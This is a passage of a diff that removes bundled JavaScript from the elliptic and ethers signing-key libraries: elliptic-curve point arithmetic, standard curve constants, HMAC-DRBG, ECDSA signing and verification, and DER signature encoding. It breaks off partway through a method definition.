- var h2 = h.redSqr(); - var h3 = h2.redMul(h); - var v = u1.redMul(h2); - var nx = r3.redSqr().redIAdd(h3).redISub(v).redISub(v); - var ny = r3.redMul(v.redISub(nx)).redISub(s1.redMul(h3)); - var nz = this.z.redMul(p.z).redMul(h); - return this.curve.jpoint(nx, ny, nz); - }; - JPoint2.prototype.mixedAdd = function mixedAdd2(p) { - if (this.isInfinity()) - return p.toJ(); - if (p.isInfinity()) - return this; - var z2 = this.z.redSqr(); - var u1 = this.x; - var u2 = p.x.redMul(z2); - var s1 = this.y; - var s2 = p.y.redMul(z2).redMul(this.z); - var h = u1.redSub(u2); - var r3 = s1.redSub(s2); - if (h.cmpn(0) === 0) { - if (r3.cmpn(0) !== 0) - return this.curve.jpoint(null, null, null); - else - return this.dbl(); - } - var h2 = h.redSqr(); - var h3 = h2.redMul(h); - var v = u1.redMul(h2); - var nx = r3.redSqr().redIAdd(h3).redISub(v).redISub(v); - var ny = r3.redMul(v.redISub(nx)).redISub(s1.redMul(h3)); - var nz = this.z.redMul(h); - return this.curve.jpoint(nx, ny, nz); - }; - JPoint2.prototype.dblp = function dblp4(pow) { - if (pow === 0) - return this; - if (this.isInfinity()) - return this; - if (!pow) - return this.dbl(); - var i; - if (this.curve.zeroA || this.curve.threeA) { - var r3 = this; - for (i = 0; i < pow; i++) - r3 = r3.dbl(); - return r3; - } - var a = this.curve.a; - var tinv = this.curve.tinv; - var jx = this.x; - var jy = this.y; - var jz = this.z; - var jz4 = jz.redSqr().redSqr(); - var jyd = jy.redAdd(jy); - for (i = 0; i < pow; i++) { - var jx2 = jx.redSqr(); - var jyd2 = jyd.redSqr(); - var jyd4 = jyd2.redSqr(); - var c = jx2.redAdd(jx2).redIAdd(jx2).redIAdd(a.redMul(jz4)); - var t1 = jx.redMul(jyd2); - var nx = c.redSqr().redISub(t1.redAdd(t1)); - var t2 = t1.redISub(nx); - var dny = c.redMul(t2); - dny = dny.redIAdd(dny).redISub(jyd4); - var nz = jyd.redMul(jz); - if (i + 1 < pow) - jz4 = jz4.redMul(jyd4); - jx = nx; - jz = nz; - jyd = dny; - } - return this.curve.jpoint(jx, jyd.redMul(tinv), jz); - }; - JPoint2.prototype.dbl = function dbl4() { - if (this.isInfinity()) - return this; - if (this.curve.zeroA) - return this._zeroDbl(); - else if (this.curve.threeA) - return this._threeDbl(); - else - return this._dbl(); - }; - JPoint2.prototype._zeroDbl = function _zeroDbl2() { - var nx; - var ny; - var nz; - if (this.zOne) { - var xx = this.x.redSqr(); - var yy = this.y.redSqr(); - var yyyy = yy.redSqr(); - var s = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy); - s = s.redIAdd(s); - var m = xx.redAdd(xx).redIAdd(xx); - var t = m.redSqr().redISub(s).redISub(s); - var yyyy8 = yyyy.redIAdd(yyyy); - yyyy8 = yyyy8.redIAdd(yyyy8); - yyyy8 = yyyy8.redIAdd(yyyy8); - nx = t; - ny = m.redMul(s.redISub(t)).redISub(yyyy8); - nz = this.y.redAdd(this.y); - } else { - var a = this.x.redSqr(); - var b = this.y.redSqr(); - var c = b.redSqr(); - var d = this.x.redAdd(b).redSqr().redISub(a).redISub(c); - d = d.redIAdd(d); - var e = a.redAdd(a).redIAdd(a); - var f = e.redSqr(); - var c8 = c.redIAdd(c); - c8 = c8.redIAdd(c8); - c8 = c8.redIAdd(c8); - nx = f.redISub(d).redISub(d); - ny = e.redMul(d.redISub(nx)).redISub(c8); - nz = this.y.redMul(this.z); - nz = nz.redIAdd(nz); - } - return this.curve.jpoint(nx, ny, nz); - }; - JPoint2.prototype._threeDbl = function _threeDbl2() { - var nx; - var ny; - var nz; - if (this.zOne) { - var xx = this.x.redSqr(); - var yy = this.y.redSqr(); - var yyyy = yy.redSqr(); - var s = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy); - s = s.redIAdd(s); - var m = xx.redAdd(xx).redIAdd(xx).redIAdd(this.curve.a); - var t = m.redSqr().redISub(s).redISub(s); - nx = t; - var yyyy8 = yyyy.redIAdd(yyyy); - yyyy8 = yyyy8.redIAdd(yyyy8); - yyyy8 = yyyy8.redIAdd(yyyy8); - ny = m.redMul(s.redISub(t)).redISub(yyyy8); - nz = this.y.redAdd(this.y); - } else { - var delta = this.z.redSqr(); - var gamma = this.y.redSqr(); - var beta = this.x.redMul(gamma); - var alpha = this.x.redSub(delta).redMul(this.x.redAdd(delta)); - alpha = alpha.redAdd(alpha).redIAdd(alpha); - var beta4 = beta.redIAdd(beta); - beta4 = beta4.redIAdd(beta4); - var beta8 = beta4.redAdd(beta4); - nx = alpha.redSqr().redISub(beta8); - nz = this.y.redAdd(this.z).redSqr().redISub(gamma).redISub(delta); - var ggamma8 = gamma.redSqr(); - ggamma8 = ggamma8.redIAdd(ggamma8); - ggamma8 = ggamma8.redIAdd(ggamma8); - ggamma8 = ggamma8.redIAdd(ggamma8); - ny = alpha.redMul(beta4.redISub(nx)).redISub(ggamma8); - } - return this.curve.jpoint(nx, ny, nz); - }; - JPoint2.prototype._dbl = function _dbl2() { - var a = this.curve.a; - var jx = this.x; - var jy = this.y; - var jz = this.z; - var jz4 = jz.redSqr().redSqr(); - var jx2 = jx.redSqr(); - var jy2 = jy.redSqr(); - var c = jx2.redAdd(jx2).redIAdd(jx2).redIAdd(a.redMul(jz4)); - var jxd4 = jx.redAdd(jx); - jxd4 = jxd4.redIAdd(jxd4); - var t1 = jxd4.redMul(jy2); - var nx = c.redSqr().redISub(t1.redAdd(t1)); - var t2 = t1.redISub(nx); - var jyd8 = jy2.redSqr(); - jyd8 = jyd8.redIAdd(jyd8); - jyd8 = jyd8.redIAdd(jyd8); - jyd8 = jyd8.redIAdd(jyd8); - var ny = c.redMul(t2).redISub(jyd8); - var nz = jy.redAdd(jy).redMul(jz); - return this.curve.jpoint(nx, ny, nz); - }; - JPoint2.prototype.trpl = function trpl2() { - if (!this.curve.zeroA) - return this.dbl().add(this); - var xx = this.x.redSqr(); - var yy = this.y.redSqr(); - var zz = this.z.redSqr(); - var yyyy = yy.redSqr(); - var m = xx.redAdd(xx).redIAdd(xx); - var mm = m.redSqr(); - var e = this.x.redAdd(yy).redSqr().redISub(xx).redISub(yyyy); - e = e.redIAdd(e); - e = e.redAdd(e).redIAdd(e); - e = e.redISub(mm); - var ee = e.redSqr(); - var t = yyyy.redIAdd(yyyy); - t = t.redIAdd(t); - t = t.redIAdd(t); - t = t.redIAdd(t); - var u = m.redIAdd(e).redSqr().redISub(mm).redISub(ee).redISub(t); - var yyu4 = yy.redMul(u); - yyu4 = yyu4.redIAdd(yyu4); - yyu4 = yyu4.redIAdd(yyu4); - var nx = this.x.redMul(ee).redISub(yyu4); - nx = nx.redIAdd(nx); - nx = nx.redIAdd(nx); - var ny = this.y.redMul(u.redMul(t.redISub(u)).redISub(e.redMul(ee))); - ny = ny.redIAdd(ny); - ny = ny.redIAdd(ny); - ny = ny.redIAdd(ny); - var nz = this.z.redAdd(e).redSqr().redISub(zz).redISub(ee); - return this.curve.jpoint(nx, ny, nz); - }; - JPoint2.prototype.mul = function mul4(k, kbase) { - k = new import_bn4.default(k, kbase); - return this.curve._wnafMul(this, k); - }; - JPoint2.prototype.eq = function eq6(p) { - if (p.type === "affine") - return this.eq(p.toJ()); - if (this === p) - return true; - var z2 = this.z.redSqr(); - var pz2 = p.z.redSqr(); - if (this.x.redMul(pz2).redISub(p.x.redMul(z2)).cmpn(0) !== 0) - return false; - var z3 = z2.redMul(this.z); - var pz3 = pz2.redMul(p.z); - return this.y.redMul(pz3).redISub(p.y.redMul(z3)).cmpn(0) === 0; - }; - JPoint2.prototype.eqXToP = function eqXToP2(x) { - var zs = this.z.redSqr(); - var rx = x.toRed(this.curve.red).redMul(zs); - if (this.x.cmp(rx) === 0) - return true; - var xc = x.clone(); - var t = this.curve.redN.redMul(zs); - for (; ; ) { - xc.iadd(this.curve.n); - if (xc.cmp(this.curve.p) >= 0) - return false; - rx.redIAdd(t); - if (this.x.cmp(rx) === 0) - return true; - } - }; - JPoint2.prototype.inspect = function inspect5() { - if (this.isInfinity()) - return ""; - return ""; - }; - JPoint2.prototype.isInfinity = function isInfinity4() { - return this.z.cmpn(0) === 0; - }; - var curve_12 = createCommonjsModule2(function(module, exports) { - "use strict"; - var curve = exports; - curve.base = base2; - curve.short = short_12; - curve.mont = /*RicMoo:ethers:require(./mont)*/ - null; - curve.edwards = /*RicMoo:ethers:require(./edwards)*/ - null; - }); - var curves_12 = createCommonjsModule2(function(module, exports) { - "use strict"; - var curves = exports; - var assert3 = utils_1$12.assert; - function PresetCurve(options) { - if (options.type === "short") - this.curve = new curve_12.short(options); - else if (options.type === "edwards") - this.curve = new curve_12.edwards(options); - else - this.curve = new curve_12.mont(options); - this.g = this.curve.g; - this.n = this.curve.n; - this.hash = options.hash; - assert3(this.g.validate(), "Invalid curve"); - assert3(this.g.mul(this.n).isInfinity(), "Invalid curve, G*N != O"); - } - curves.PresetCurve = PresetCurve; - function defineCurve(name, options) { - Object.defineProperty(curves, name, { - configurable: true, - enumerable: true, - get: function() { - var curve = new PresetCurve(options); - Object.defineProperty(curves, name, { - configurable: true, - enumerable: true, - value: curve - }); - return curve; - } - }); - } - defineCurve("p192", { - type: "short", - prime: "p192", - p: "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff", - a: "ffffffff ffffffff ffffffff fffffffe ffffffff fffffffc", - b: "64210519 e59c80e7 0fa7e9ab 72243049 feb8deec c146b9b1", - n: "ffffffff ffffffff ffffffff 99def836 146bc9b1 b4d22831", - hash: import_hash4.default.sha256, - gRed: false, - g: [ - "188da80e b03090f6 7cbf20eb 43a18800 f4ff0afd 82ff1012", - "07192b95 ffc8da78 631011ed 6b24cdd5 73f977a1 1e794811" - ] - }); - defineCurve("p224", { - type: "short", - prime: "p224", - p: "ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001", - a: "ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff fffffffe", - b: "b4050a85 0c04b3ab f5413256 5044b0b7 d7bfd8ba 270b3943 2355ffb4", - n: "ffffffff ffffffff ffffffff ffff16a2 e0b8f03e 13dd2945 5c5c2a3d", - hash: import_hash4.default.sha256, - gRed: false, - g: [ - "b70e0cbd 6bb4bf7f 321390b9 4a03c1d3 56c21122 343280d6 115c1d21", - "bd376388 b5f723fb 4c22dfe6 cd4375a0 5a074764 44d58199 85007e34" - ] - }); - defineCurve("p256", { - type: "short", - prime: null, - p: "ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff ffffffff", - a: "ffffffff 00000001 00000000 00000000 00000000 ffffffff ffffffff fffffffc", - b: "5ac635d8 aa3a93e7 b3ebbd55 769886bc 651d06b0 cc53b0f6 3bce3c3e 27d2604b", - n: "ffffffff 00000000 ffffffff ffffffff bce6faad a7179e84 f3b9cac2 fc632551", - hash: import_hash4.default.sha256, - gRed: false, - g: [ - "6b17d1f2 e12c4247 f8bce6e5 63a440f2 77037d81 2deb33a0 f4a13945 d898c296", - "4fe342e2 fe1a7f9b 8ee7eb4a 7c0f9e16 2bce3357 6b315ece cbb64068 37bf51f5" - ] - }); - defineCurve("p384", { - type: "short", - prime: null, - p: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 ffffffff", - a: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe ffffffff 00000000 00000000 fffffffc", - b: "b3312fa7 e23ee7e4 988e056b e3f82d19 181d9c6e fe814112 0314088f 5013875a c656398d 8a2ed19d 2a85c8ed d3ec2aef", - n: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff c7634d81 f4372ddf 581a0db2 48b0a77a ecec196a ccc52973", - hash: import_hash4.default.sha384, - gRed: false, - g: [ - "aa87ca22 be8b0537 8eb1c71e f320ad74 6e1d3b62 8ba79b98 59f741e0 82542a38 5502f25d bf55296c 3a545e38 72760ab7", - "3617de4a 96262c6f 5d9e98bf 9292dc29 f8f41dbd 289a147c e9da3113 b5f0b8c0 0a60b1ce 1d7e819d 7a431d7c 90ea0e5f" - ] - }); - defineCurve("p521", { - type: "short", - prime: null, - p: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff", - a: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffc", - b: "00000051 953eb961 8e1c9a1f 929a21a0 b68540ee a2da725b 99b315f3 b8b48991 8ef109e1 56193951 ec7e937b 1652c0bd 3bb1bf07 3573df88 3d2c34f1 ef451fd4 6b503f00", - n: "000001ff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffa 51868783 bf2f966b 7fcc0148 f709a5d0 3bb5c9b8 899c47ae bb6fb71e 91386409", - hash: import_hash4.default.sha512, - gRed: false, - g: [ - "000000c6 858e06b7 0404e9cd 9e3ecb66 2395b442 9c648139 053fb521 f828af60 6b4d3dba a14b5e77 efe75928 fe1dc127 a2ffa8de 3348b3c1 856a429b f97e7e31 c2e5bd66", - "00000118 39296a78 9a3bc004 5c8a5fb4 2c7d1bd9 98f54449 579b4468 17afbd17 273e662c 97ee7299 5ef42640 c550b901 3fad0761 353c7086 a272c240 88be9476 9fd16650" - ] - }); - defineCurve("curve25519", { - type: "mont", - prime: "p25519", - p: "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed", - a: "76d06", - b: "1", - n: "1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed", - hash: import_hash4.default.sha256, - gRed: false, - g: [ - "9" - ] - }); - defineCurve("ed25519", { - type: "edwards", - prime: "p25519", - p: "7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed", - a: "-1", - c: "1", - // -121665 * (121666^(-1)) (mod P) - d: "52036cee2b6ffe73 8cc740797779e898 00700a4d4141d8ab 75eb4dca135978a3", - n: "1000000000000000 0000000000000000 14def9dea2f79cd6 5812631a5cf5d3ed", - hash: import_hash4.default.sha256, - gRed: false, - g: [ - "216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a", - // 4/5 - "6666666666666666666666666666666666666666666666666666666666666658" - ] - }); - var pre; - try { - pre = /*RicMoo:ethers:require(./precomputed/secp256k1)*/ - null.crash(); - } catch (e) { - pre = void 0; - } - defineCurve("secp256k1", { - type: "short", - prime: "k256", - p: "ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f", - a: "0", - b: "7", - n: "ffffffff ffffffff ffffffff fffffffe baaedce6 af48a03b bfd25e8c d0364141", - h: "1", - hash: import_hash4.default.sha256, - // Precomputed endomorphism - beta: "7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee", - lambda: "5363ad4cc05c30e0a5261c028812645a122e22ea20816678df02967c1b23bd72", - basis: [ - { - a: "3086d221a7d46bcde86c90e49284eb15", - b: "-e4437ed6010e88286f547fa90abfe4c3" - }, - { - a: "114ca50f7a8e2f3f657c1108d9d44cfd8", - b: "3086d221a7d46bcde86c90e49284eb15" - } - ], - gRed: false, - g: [ - "79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798", - "483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8", - pre - ] - }); - }); - function HmacDRBG2(options) { - if (!(this instanceof HmacDRBG2)) - return new HmacDRBG2(options); - this.hash = options.hash; - this.predResist = !!options.predResist; - this.outLen = this.hash.outSize; - this.minEntropy = options.minEntropy || this.hash.hmacStrength; - this._reseed = null; - this.reseedInterval = null; - this.K = null; - this.V = null; - var entropy = utils_12.toArray(options.entropy, options.entropyEnc || "hex"); - var nonce = utils_12.toArray(options.nonce, options.nonceEnc || "hex"); - var pers = utils_12.toArray(options.pers, options.persEnc || "hex"); - minimalisticAssert2( - entropy.length >= this.minEntropy / 8, - "Not enough entropy. Minimum is: " + this.minEntropy + " bits" - ); - this._init(entropy, nonce, pers); - } - var hmacDrbg2 = HmacDRBG2; - HmacDRBG2.prototype._init = function init2(entropy, nonce, pers) { - var seed = entropy.concat(nonce).concat(pers); - this.K = new Array(this.outLen / 8); - this.V = new Array(this.outLen / 8); - for (var i = 0; i < this.V.length; i++) { - this.K[i] = 0; - this.V[i] = 1; - } - this._update(seed); - this._reseed = 1; - this.reseedInterval = 281474976710656; - }; - HmacDRBG2.prototype._hmac = function hmac2() { - return new import_hash4.default.hmac(this.hash, this.K); - }; - HmacDRBG2.prototype._update = function update2(seed) { - var kmac = this._hmac().update(this.V).update([0]); - if (seed) - kmac = kmac.update(seed); - this.K = kmac.digest(); - this.V = this._hmac().update(this.V).digest(); - if (!seed) - return; - this.K = this._hmac().update(this.V).update([1]).update(seed).digest(); - this.V = this._hmac().update(this.V).digest(); - }; - HmacDRBG2.prototype.reseed = function reseed2(entropy, entropyEnc, add5, addEnc) { - if (typeof entropyEnc !== "string") { - addEnc = add5; - add5 = entropyEnc; - entropyEnc = null; - } - entropy = utils_12.toArray(entropy, entropyEnc); - add5 = utils_12.toArray(add5, addEnc); - minimalisticAssert2( - entropy.length >= this.minEntropy / 8, - "Not enough entropy. Minimum is: " + this.minEntropy + " bits" - ); - this._update(entropy.concat(add5 || [])); - this._reseed = 1; - }; - HmacDRBG2.prototype.generate = function generate2(len, enc, add5, addEnc) { - if (this._reseed > this.reseedInterval) - throw new Error("Reseed is required"); - if (typeof enc !== "string") { - addEnc = add5; - add5 = enc; - enc = null; - } - if (add5) { - add5 = utils_12.toArray(add5, addEnc || "hex"); - this._update(add5); - } - var temp = []; - while (temp.length < len) { - this.V = this._hmac().update(this.V).digest(); - temp = temp.concat(this.V); - } - var res = temp.slice(0, len); - this._update(add5); - this._reseed++; - return utils_12.encode(res, enc); - }; - var assert$32 = utils_1$12.assert; - function KeyPair2(ec3, options) { - this.ec = ec3; - this.priv = null; - this.pub = null; - if (options.priv) - this._importPrivate(options.priv, options.privEnc); - if (options.pub) - this._importPublic(options.pub, options.pubEnc); - } - var key2 = KeyPair2; - KeyPair2.fromPublic = function fromPublic2(ec3, pub, enc) { - if (pub instanceof KeyPair2) - return pub; - return new KeyPair2(ec3, { - pub, - pubEnc: enc - }); - }; - KeyPair2.fromPrivate = function fromPrivate2(ec3, priv, enc) { - if (priv instanceof KeyPair2) - return priv; - return new KeyPair2(ec3, { - priv, - privEnc: enc - }); - }; - KeyPair2.prototype.validate = function validate8() { - var pub = this.getPublic(); - if (pub.isInfinity()) - return { result: false, reason: "Invalid public key" }; - if (!pub.validate()) - return { result: false, reason: "Public key is not a point" }; - if (!pub.mul(this.ec.curve.n).isInfinity()) - return { result: false, reason: "Public key * N != O" }; - return { result: true, reason: null }; - }; - KeyPair2.prototype.getPublic = function getPublic2(compact, enc) { - if (typeof compact === "string") { - enc = compact; - compact = null; - } - if (!this.pub) - this.pub = this.ec.g.mul(this.priv); - if (!enc) - return this.pub; - return this.pub.encode(enc, compact); - }; - KeyPair2.prototype.getPrivate = function getPrivate2(enc) { - if (enc === "hex") - return this.priv.toString(16, 2); - else - return this.priv; - }; - KeyPair2.prototype._importPrivate = function _importPrivate2(key3, enc) { - this.priv = new import_bn4.default(key3, enc || 16); - this.priv = this.priv.umod(this.ec.curve.n); - }; - KeyPair2.prototype._importPublic = function _importPublic2(key3, enc) { - if (key3.x || key3.y) { - if (this.ec.curve.type === "mont") { - assert$32(key3.x, "Need x coordinate"); - } else if (this.ec.curve.type === "short" || this.ec.curve.type === "edwards") { - assert$32(key3.x && key3.y, "Need both x and y coordinate"); - } - this.pub = this.ec.curve.point(key3.x, key3.y); - return; - } - this.pub = this.ec.curve.decodePoint(key3, enc); - }; - KeyPair2.prototype.derive = function derive2(pub) { - if (!pub.validate()) { - assert$32(pub.validate(), "public point not validated"); - } - return pub.mul(this.priv).getX(); - }; - KeyPair2.prototype.sign = function sign3(msg, enc, options) { - return this.ec.sign(msg, this, enc, options); - }; - KeyPair2.prototype.verify = function verify3(msg, signature3) { - return this.ec.verify(msg, signature3, this); - }; - KeyPair2.prototype.inspect = function inspect6() { - return ""; - }; - var assert$42 = utils_1$12.assert; - function Signature2(options, enc) { - if (options instanceof Signature2) - return options; - if (this._importDER(options, enc)) - return; - assert$42(options.r && options.s, "Signature without r or s"); - this.r = new import_bn4.default(options.r, 16); - this.s = new import_bn4.default(options.s, 16); - if (options.recoveryParam === void 0) - this.recoveryParam = null; - else - this.recoveryParam = options.recoveryParam; - } - var signature2 = Signature2; - function Position2() { - this.place = 0; - } - function getLength2(buf, p) { - var initial = buf[p.place++]; - if (!(initial & 128)) { - return initial; - } - var octetLen = initial & 15; - if (octetLen === 0 || octetLen > 4) { - return false; - } - var val = 0; - for (var i = 0, off = p.place; i < octetLen; i++, off++) { - val <<= 8; - val |= buf[off]; - val >>>= 0; - } - if (val <= 127) { - return false; - } - p.place = off; - return val; - } - function rmPadding2(buf) { - var i = 0; - var len = buf.length - 1; - while (!buf[i] && !(buf[i + 1] & 128) && i < len) { - i++; - } - if (i === 0) { - return buf; - } - return buf.slice(i); - } - Signature2.prototype._importDER = function _importDER2(data, enc) { - data = utils_1$12.toArray(data, enc); - var p = new Position2(); - if (data[p.place++] !== 48) { - return false; - } - var len = getLength2(data, p); - if (len === false) { - return false; - } - if (len + p.place !== data.length) { - return false; - } - if (data[p.place++] !== 2) { - return false; - } - var rlen = getLength2(data, p); - if (rlen === false) { - return false; - } - var r3 = data.slice(p.place, rlen + p.place); - p.place += rlen; - if (data[p.place++] !== 2) { - return false; - } - var slen = getLength2(data, p); - if (slen === false) { - return false; - } - if (data.length !== slen + p.place) { - return false; - } - var s = data.slice(p.place, slen + p.place); - if (r3[0] === 0) { - if (r3[1] & 128) { - r3 = r3.slice(1); - } else { - return false; - } - } - if (s[0] === 0) { - if (s[1] & 128) { - s = s.slice(1); - } else { - return false; - } - } - this.r = new import_bn4.default(r3); - this.s = new import_bn4.default(s); - this.recoveryParam = null; - return true; - }; - function constructLength2(arr, len) { - if (len < 128) { - arr.push(len); - return; - } - var octets = 1 + (Math.log(len) / Math.LN2 >>> 3); - arr.push(octets | 128); - while (--octets) { - arr.push(len >>> (octets << 3) & 255); - } - arr.push(len); - } - Signature2.prototype.toDER = function toDER2(enc) { - var r3 = this.r.toArray(); - var s = this.s.toArray(); - if (r3[0] & 128) - r3 = [0].concat(r3); - if (s[0] & 128) - s = [0].concat(s); - r3 = rmPadding2(r3); - s = rmPadding2(s); - while (!s[0] && !(s[1] & 128)) { - s = s.slice(1); - } - var arr = [2]; - constructLength2(arr, r3.length); - arr = arr.concat(r3); - arr.push(2); - constructLength2(arr, s.length); - var backHalf = arr.concat(s); - var res = [48]; - constructLength2(res, backHalf.length); - res = res.concat(backHalf); - return utils_1$12.encode(res, enc); - }; - var rand2 = ( - /*RicMoo:ethers:require(brorand)*/ - function() { - throw new Error("unsupported"); - } - ); - var assert$52 = utils_1$12.assert; - function EC2(options) { - if (!(this instanceof EC2)) - return new EC2(options); - if (typeof options === "string") { - assert$52( - Object.prototype.hasOwnProperty.call(curves_12, options), - "Unknown curve " + options - ); - options = curves_12[options]; - } - if (options instanceof curves_12.PresetCurve) - options = { curve: options }; - this.curve = options.curve.curve; - this.n = this.curve.n; - this.nh = this.n.ushrn(1); - this.g = this.curve.g; - this.g = options.curve.g; - this.g.precompute(options.curve.n.bitLength() + 1); - this.hash = options.hash || options.curve.hash; - } - var ec2 = EC2; - EC2.prototype.keyPair = function keyPair2(options) { - return new key2(this, options); - }; - EC2.prototype.keyFromPrivate = function keyFromPrivate2(priv, enc) { - return key2.fromPrivate(this, priv, enc); - }; - EC2.prototype.keyFromPublic = function keyFromPublic2(pub, enc) { - return key2.fromPublic(this, pub, enc); - }; - EC2.prototype.genKeyPair = function genKeyPair2(options) { - if (!options) - options = {}; - var drbg = new hmacDrbg2({ - hash: this.hash, - pers: options.pers, - persEnc: options.persEnc || "utf8", - entropy: options.entropy || rand2(this.hash.hmacStrength), - entropyEnc: options.entropy && options.entropyEnc || "utf8", - nonce: this.n.toArray() - }); - var bytes = this.n.byteLength(); - var ns2 = this.n.sub(new import_bn4.default(2)); - for (; ; ) { - var priv = new import_bn4.default(drbg.generate(bytes)); - if (priv.cmp(ns2) > 0) - continue; - priv.iaddn(1); - return this.keyFromPrivate(priv); - } - }; - EC2.prototype._truncateToN = function _truncateToN2(msg, truncOnly) { - var delta = msg.byteLength() * 8 - this.n.bitLength(); - if (delta > 0) - msg = msg.ushrn(delta); - if (!truncOnly && msg.cmp(this.n) >= 0) - return msg.sub(this.n); - else - return msg; - }; - EC2.prototype.sign = function sign4(msg, key3, enc, options) { - if (typeof enc === "object") { - options = enc; - enc = null; - } - if (!options) - options = {}; - key3 = this.keyFromPrivate(key3, enc); - msg = this._truncateToN(new import_bn4.default(msg, 16)); - var bytes = this.n.byteLength(); - var bkey = key3.getPrivate().toArray("be", bytes); - var nonce = msg.toArray("be", bytes); - var drbg = new hmacDrbg2({ - hash: this.hash, - entropy: bkey, - nonce, - pers: options.pers, - persEnc: options.persEnc || "utf8" - }); - var ns1 = this.n.sub(new import_bn4.default(1)); - for (var iter = 0; ; iter++) { - var k = options.k ? options.k(iter) : new import_bn4.default(drbg.generate(this.n.byteLength())); - k = this._truncateToN(k, true); - if (k.cmpn(1) <= 0 || k.cmp(ns1) >= 0) - continue; - var kp = this.g.mul(k); - if (kp.isInfinity()) - continue; - var kpX = kp.getX(); - var r3 = kpX.umod(this.n); - if (r3.cmpn(0) === 0) - continue; - var s = k.invm(this.n).mul(r3.mul(key3.getPrivate()).iadd(msg)); - s = s.umod(this.n); - if (s.cmpn(0) === 0) - continue; - var recoveryParam = (kp.getY().isOdd() ? 1 : 0) | (kpX.cmp(r3) !== 0 ? 2 : 0); - if (options.canonical && s.cmp(this.nh) > 0) { - s = this.n.sub(s); - recoveryParam ^= 1; - } - return new signature2({ r: r3, s, recoveryParam }); - } - }; - EC2.prototype.verify = function verify4(msg, signature$1, key3, enc) { - msg = this._truncateToN(new import_bn4.default(msg, 16)); - key3 = this.keyFromPublic(key3, enc); - signature$1 = new signature2(signature$1, "hex"); - var r3 = signature$1.r; - var s = signature$1.s; - if (r3.cmpn(1) < 0 || r3.cmp(this.n) >= 0) - return false; - if (s.cmpn(1) < 0 || s.cmp(this.n) >= 0) - return false; - var sinv = s.invm(this.n); - var u1 = sinv.mul(msg).umod(this.n); - var u2 = sinv.mul(r3).umod(this.n); - var p; - if (!this.curve._maxwellTrick) { - p = this.g.mulAdd(u1, key3.getPublic(), u2); - if (p.isInfinity()) - return false; - return p.getX().umod(this.n).cmp(r3) === 0; - } - p = this.g.jmulAdd(u1, key3.getPublic(), u2); - if (p.isInfinity()) - return false; - return p.eqXToP(r3); - }; - EC2.prototype.recoverPubKey = function(msg, signature$1, j, enc) { - assert$52((3 & j) === j, "The recovery param is more than two bits"); - signature$1 = new signature2(signature$1, enc); - var n = this.n; - var e = new import_bn4.default(msg); - var r3 = signature$1.r; - var s = signature$1.s; - var isYOdd = j & 1; - var isSecondKey = j >> 1; - if (r3.cmp(this.curve.p.umod(this.curve.n)) >= 0 && isSecondKey) - throw new Error("Unable to find sencond key candinate"); - if (isSecondKey) - r3 = this.curve.pointFromX(r3.add(this.curve.n), isYOdd); - else - r3 = this.curve.pointFromX(r3, isYOdd); - var rInv = signature$1.r.invm(n); - var s1 = n.sub(e).mul(rInv).umod(n); - var s2 = s.mul(rInv).umod(n); - return this.g.mulAdd(s1, r3, s2); - }; - EC2.prototype.getKeyRecoveryParam = function(e, signature$1, Q, enc) { - signature$1 = new signature2(signature$1, enc); - if (signature$1.recoveryParam !== null) - return signature$1.recoveryParam; - for (var i = 0; i < 4; i++) { - var Qprime; - try { - Qprime = this.recoverPubKey(e, signature$1, i); - } catch (e2) { - continue; - } - if (Qprime.eq(Q)) - return i; - } - throw new Error("Unable to find valid recovery factor"); - }; - var elliptic_12 = createCommonjsModule2(function(module, exports) { - "use strict"; - var elliptic = exports; - elliptic.version = /*RicMoo:ethers*/ - { version: "6.5.4" }.version; - elliptic.utils = utils_1$12; - elliptic.rand = /*RicMoo:ethers:require(brorand)*/ - function() { - throw new Error("unsupported"); - }; - elliptic.curve = curve_12; - elliptic.curves = curves_12; - elliptic.ec = ec2; - elliptic.eddsa = /*RicMoo:ethers:require(./elliptic/eddsa)*/ - null; - }); - var EC$12 = elliptic_12.ec; - - // node_modules/@ethersproject/signing-key/lib.esm/_version.js - var version32 = "signing-key/5.7.0"; - - // node_modules/@ethersproject/signing-key/lib.esm/index.js - var logger36 = new Logger2(version32); - var _curve2 = null; - function getCurve2() { - if (!_curve2) { - _curve2 = new EC$12("secp256k1"); - } - return _curve2; - } - var SigningKey2 = class { - constructor(privateKey) { - defineReadOnly2(this, "curve", "secp256k1"); - defineReadOnly2(this, "privateKey", hexlify2(privateKey)); - if (hexDataLength2(this.privateKey) !== 32) { - logger36.throwArgumentError("invalid private key", "privateKey", "[[ REDACTED ]]"); - } - const keyPair3 = getCurve2().keyFromPrivate(arrayify2(this.privateKey)); - defineReadOnly2(this, "publicKey", "0x" + keyPair3.getPublic(false, "hex")); - defineReadOnly2(this, "compressedPublicKey", "0x" + keyPair3.getPublic(true, "hex")); - defineReadOnly2(this, "_isSigningKey", true); - } - _addPoint(other) { - const p0 = getCurve2().keyFromPublic(arrayify2(this.publicKey)); - const p1 = getCurve2().keyFromPublic(arrayify2(other)); - return "0x" + p0.pub.add(p1.pub).encodeCompressed("hex"); - } - signDigest(digest) { - const keyPair3 = 